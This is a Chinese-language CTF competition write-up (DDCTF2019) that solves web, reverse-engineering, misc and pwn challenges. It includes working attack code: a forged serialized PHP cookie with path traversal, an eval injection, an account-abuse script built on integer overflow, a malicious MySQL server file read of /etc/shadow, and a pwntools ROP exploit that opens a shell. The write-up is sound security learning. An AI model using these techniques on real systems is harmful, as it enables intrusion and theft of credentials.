DDCTF2019 Writeup
历时 N 天, 滴滴终于审完了 Writeup, 终于可以发 wp 了, 我从 33 名到 16 名, 太真实了…
部分题目质量还是不错的 _(:з」∠)_, 因为要交上去, 所以就没截图了, 凑合看吧 (逃
Web
滴~
http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09 中 TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
可以看出来是双层 base64 + 一层 base16, 解码得到 flag.jpg, 那么可以得到 index.php 就是 TmprMlJUWTBOalUzT0RKRk56QTJPRGN3,
就可以直接读源码了, 然而并没有 flag, 也不能读 config.php,
跟着注释中的网址 https://blog.csdn.net/FengBanLiuYun/article/details/80616607 可以在同作者底下找到 vim 学习记录, 找到 .practice.txt.swp 但是直接访问 404…,
各种姿势尝试发现是 practice.txt.swp… 有毒, 得到 f1ag!ddctf.php 的提示, 用 f1agconfigddctf.php 绕过, 得到源码,
用 f1ag!ddctf.php?k=data:,123&uid=123 即可绕过, 得到 flag.
WEB 签到题
在 /js/index.js 找到验证逻辑, 通过 didictf_username 的 header 来验证, 随便试了个 admin 就通过了,
得到下一步地址 /app/fL2XID2i0Cdh.php,
1if(!empty($_POST["nickname"])) {
2 $arr = array($_POST["nickname"],$this->eancrykey);
3 $data = "Welcome my friend %s";
4 foreach ($arr as $k => $v) {
5 $data = sprintf($data,$v);
6 }
7 parent::response($data,"Welcome");
8}
让 nickname 为 %s 就可以拿到 key, 通过双写绕过替换. 然后构造 Cookie 反序列化就可以了, 脚本如下
1<?php
2Class Application {
3// ... 省略
4}
5
6$a = new Application();
7$a->path = "..././config/flag.txt";
8$s = serialize($a);
9$key = "EzblrbNS";
10$s .= md5($key . $s);
11echo $s; // O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}5a014dbe49334e6dbb7326046950bee2
把 ddctf_id 的值改成这个访问下就拿到 flag 了.
Upload-IMG
目的很明确, 图片里面存在 phpinfo() 就给 flag随便传个图片, 下载下来发现有 CREATOR: gd-jpeg,
应该是在服务器端有二次处理, 不能通过 exif 啥的携带数据, 用 GIMP 创建一张 20x20 图片, 在本地测试了一下
1<?php
2$img = imagecreatefromjpeg('/home/rmb122/gd.jpg');
3imagejpeg($img, '/home/rmb122/gd-out.jpg', 80);
010editor 可以解析格式, fuzz 发现在 ScanData 第三个字节后面写 phpinfo() 不会被处理掉, 传上去就拿到 flag 了.
homebrew event loop
审计源码, 发现
1is_action = event[0] == 'a'
2action = get_mid_str(event, ':', ';')
3args = get_mid_str(event, action+';').split('#')
4try:
5 event_handler = eval(action + ('_handler' if is_action else '_function'))
6 ret_val = event_handler(args)
7except RollBackException:
取 event_handler 的时候没有过滤, 通过 ?action:funcname%23;...
也就是在名字后面加个 # 可以绕过必须有后缀的限制, 于是就可以构造?action:trigger_event%23;action:buy;1000%23action:get_flag;1
就可以调用 get_flag_handler 了, 虽然不能直接得到 flag, 而且交易会回滚, 但是因为
1def trigger_event(event):
2 session['log'].append(event)
3 if len(session['log']) > 5: session['log'] = session['log'][-5:]
4 if type(event) == type([]):
有 log 的原因, 而且会存在 session 里面, 而 flask 的 session 内的数据是存在 cookie 里面的,
通过 session_cookie_manager 直接就可以解码, 得到在 log 里面的 flag.
大吉大利,今晚吃鸡~
通过浏览器插件 wappalyzer (应该是分析 Cookie 名称 revel_session 获取的) 可以得到后端是 go 写的,
盲猜有整数溢出, 最后试出来 2 ** 32 也就是 4294967296 可以溢出买到票, 里面比较迷,
还以为得什么洞拿到机器人的 token, 结果我自己又注册了个号, 发现可以直接自己移除自己…
然后写脚本不停自己移除自己就行了, 然后后端分配 id 还是在一个范围内随机的, 不是每次都是新 id, 而且访问速度还有限制
后面才能好久移除一个 233, 总之跑了好久移除完访问 /index.html#/main/result 直接拿到 flag.
1import requests
2import random
3import time
4
5act = 'rmb122'
6pwd = 'rmb122sudo ufw status numbered'
7mainSess = requests.session()
8mainSess.get(f'http://117.51.147.155:5050/ctf/api/login?name={act}&password={pwd}')
9
10
11for i in range(1,999):
12 tmpact = 'laioqoLKJHSLJDKHKJrmb122' + 'QAQ' + str(i)
13 tmppwd = 'zxczxczxczxcczx'
14 tmp = requests.session()
15 tmp.get(f'http://117.51.147.155:5050/ctf/api/register?name={tmpact}&password={tmppwd}')
16 tmp.get('http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296')
17 bill = tmp.get('http://117.51.147.155:5050/ctf/api/search_bill_info').json()['data'][0]['bill_id']
18 tmp.get(f'http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={bill}')
19 res = tmp.get('http://117.51.147.155:5050/ctf/api/search_ticket').json()
20 id = res['data'][0]['id']
21 token = res['data'][0]['ticket']
22 res = mainSess.get(f'http://117.51.147.155:5050/ctf/api/remove_robot?id={id}&ticket={token}').json()
23 print(res)
24 time.sleep(3)
mysql弱口令
既然是客户端连服务端, 可以想到是 mysql 客户端的文件读取漏洞, 有现成的项目
然后一开始没发现 agent.py 里面是用的 netstat, 我用普通用户权限跑过不了检测 233, 就先去做上面一题了,
之后看了下源码用 root 跑就没问题了, 成功读 /etc/passwd, 接下来直接尝试读 /etc/shadow, 竟然读的了, 应该是 root 权限跑的 bot,
然后读 /root/.bash_history 可以得到 bot 源码路径, 发现提示 # flag in mysql curl@localhost database:security table:flag,
那么直接读数据库文件就可以了, /var/lib/mysql/security/flag.ibd, 拿到 flag.
Reverse
Windows Reverse1
upx -d 直接脱壳, 但是不知道为什么跑不了 233, 最后还是用的 ida 动态调试原程序, 发现就是对输入的字符替换一下, 写个脚本就行
1sbox = '''~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)(\x27&%$#"! '''
2shift = 32
3revSbox = {}
4flag = "DDCTF{reverseME}"
5for seq, i in enumerate(sbox):
6 revSbox[i] = chr(32 + seq)
7for i in flag:
8 print(revSbox[i], end='')
Windows Reverse2
用了没听说过的壳, 于是就手动找 OEP 脱了, 然而也跑不了, 只能 F5 233, 不过这也足够了, 发现第一层
就是 hex2bin, 然后第二层用了 std::string, 看不出来是啥, 动态调发现其实就是个 base64encode, 结果是 reverse+ 就通过
那么同样一个脚本搞定
1import base64
2
3flag = 'reverse+'
4flag = base64.b64decode(flag)
5flag = base64.b16encode(flag)
6print(flag)
MISC
真-签到题
公告最底下就是啦
北京地铁
不得不说这题脑洞是真的大… Stegsolve.jar 可以直接提取出隐写的东西, 但是不知道有啥用…
最后提示三放出来以后, 谷歌搜图搜到原图, 发现把二号线的颜色给换了, 号 和 线 字周围的颜色不一致就是没 PS 好,
233, 然后找了半天差别, 发现 魏公村 的颜色跟别的站点不一样, 随便试了一下拼音发现竟然就是秘钥, 惊了…
爆破了半天没出来, 没想到秘钥居然是这个.
1import base64
2from Crypto.Cipher import AES
3from string import ascii_lowercase
4from itertools import product
5
6def padding(key):
7 return key + b'\x00' * (16 - len(key) % 16)
8
9# for i in product(*([ascii_lowercase] * count)):
10# for count in range(1, 17):
11i = 'weigongcun'
12c = "iKk/Ju3vu4wOnssdIaUSrg=="
13c = base64.b64decode(c)
14a = AES.new(padding(i.encode()), AES.MODE_ECB)
15res = a.decrypt(c)
16if res[:2] == b"DDCTF":
17 print(i)
18print(res)
MulTzor
感觉是 xor, 随手丢到之前看老外做题发现的工具,
autopwn 一下直接就出 flag 了, 不得不说太强了.
1[+] Running multi-byte XOR brute force attack...
2
3Best candidate decryptions for M�fjc�ab~Z[�2e...:
4----------------------------------------
5
6Trying keysize 24
7Processing chunk 24 of 78
8Trying keysize 18
9Processing chunk 42 of 78
10Trying keysize 36
11Processing chunk 78 of 78
12
13....省略
14
15The flag is: DDCTF{07b1b46d1db28843d1fd76889fea9b36}
[PWN] strike
read 不会在读取的数据后面加 \x00, 于是就可以通过 fprintf 泄露 setbuf 地址,
然后算出基地址. password 长度输 -1, 就可以绕过长度限制, 直接栈溢出, 之后就是 rop 了.
1from pwn import *
2
3p = remote('116.85.48.105',5005)
4p.recvuntil('username:')
5p.send('1'* 40)
6
7t = p.recvuntil('Plea')
8libcleak = u32(t[0x33:0x37])
9stackButtom = u32(t[0x2f:0x33])
10stack = stackButtom + 0x18
11libcbase = libcleak - 0x00065465
12# print hex(stack)
13# print hex(libcbase)
14
15p.recvuntil('password:')
16p.sendline('-1')
17p.recvuntil('):')
18binsh = libcbase + 0x0015902B
19# execve = libcbase + 0x000AF590
20system = libcbase + 0x0003A940
21payload = p32(stack)*((0x4c+0x18)/4 - 1) + p32(system) + p32(binsh) *4
22p.send(payload)
23p.interactive()
Wireshark
找 HTTP 流量, 可以找到几张图, 有一张图损坏无法打开, 发现 crc 不对, 修复一下就是秘钥,
得到 57pmYyWt, 然而不知道是啥隐写, 最后通过流量记录发现访问过 http://tools.jb51.net/,
可以在上面找到一个图片隐写, 把图片都试了一下最后发现那张比较大的图片可以解出 flag,
1flag+AHs-44444354467B5145576F6B63704865556F32574F6642494E37706F6749577346303469526A747D+AH0-
把里面的 44444354467B5145576F6B63704865556F32574F6642494E37706F6749577346303469526A747D, 解个 hex 就拿到 flag.
联盟决策大会
Shamir 秘密分享方案, 密码学刚学, 在 wiki 上有个挺好的脚本,
题目相当于用两次 Shamir, 这样就可以让两个组织都到才能解密, 把脚本照着这个思路稍微改一下就能拿到 flag,
1from __future__ import division
2from __future__ import print_function
3
4import random
5import functools
6
7# 12th Mersenne Prime
8# (for this application we want a known prime number as close as
9# possible to our security level; e.g. desired security level of 128
10# bits -- too large and all the ciphertext is large; too small and
11# security is compromised)
12_PRIME = 0xC53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4E32D331535F08FC6338748C8447E72763A07F8AF7
13# 13th Mersenne Prime is 2**521 - 1
14
15# ... 省略
16
17t1 = (1,0x30A152322E40EEE5933DE433C93827096D9EBF6F4FDADD48A18A8A8EB77B6680FE08B4176D8DCF0B6BF50000B74A8B8D572B253E63473A0916B69878A779946A)
18t2 = (2,0x1B309C79979CBECC08BD8AE40942AFFD17BBAFCAD3EEBA6B4DD652B5606A5B8B35B2C7959FDE49BA38F7BF3C3AC8CB4BAA6CB5C4EDACB7A9BBCCE774745A2EC7)
19t3 = (4,0x1E2B6A6AFA758F331F2684BB75CC898FF501C4FCDD91467138C2F55F47EB4ED347334FAD3D80DB725ABF6546BD09720D5D5F3E7BC1A401C8BD7300C253927BBC)
20t4 = (3,0x300991151BB6A52AEF598F944B4D43E02A45056FA39A71060C69697660B14E69265E35461D9D0BE4D8DC29E77853FB2391361BEB54A97F8D7A9D8C66AEFDF3DA)
21t5 = (4,0x1AAC52987C69C8A565BF9E426E759EE3455D4773B01C7164952442F13F92621F3EE2F8FE675593AE2FD6022957B0C0584199F02790AAC61D7132F7DB6A8F77B9)
22t6 = (5,0x9288657962CCD9647AA6B5C05937EE256108DFCD580EFA310D4348242564C9C90FBD1003FF12F6491B2E67CA8F3CC3BC157E5853E29537E8B9A55C0CF927FE45)
23
24def main():
25 '''main function'''
26 shares = [t1,t2,t3]
27 shares2 = [t4,t5,t6]
28 a = recover_secret(shares)
29 b = recover_secret(shares2)
30 t7 = (1, a)
31 t8 = (2, b)
32 c = recover_secret([t7, t8])
33 c = hex(c)[2:]
34 print(c)
35 print(bytes.fromhex(c))
36 #shares = []
37 #a = recover_secret(shares)
38 #print(a)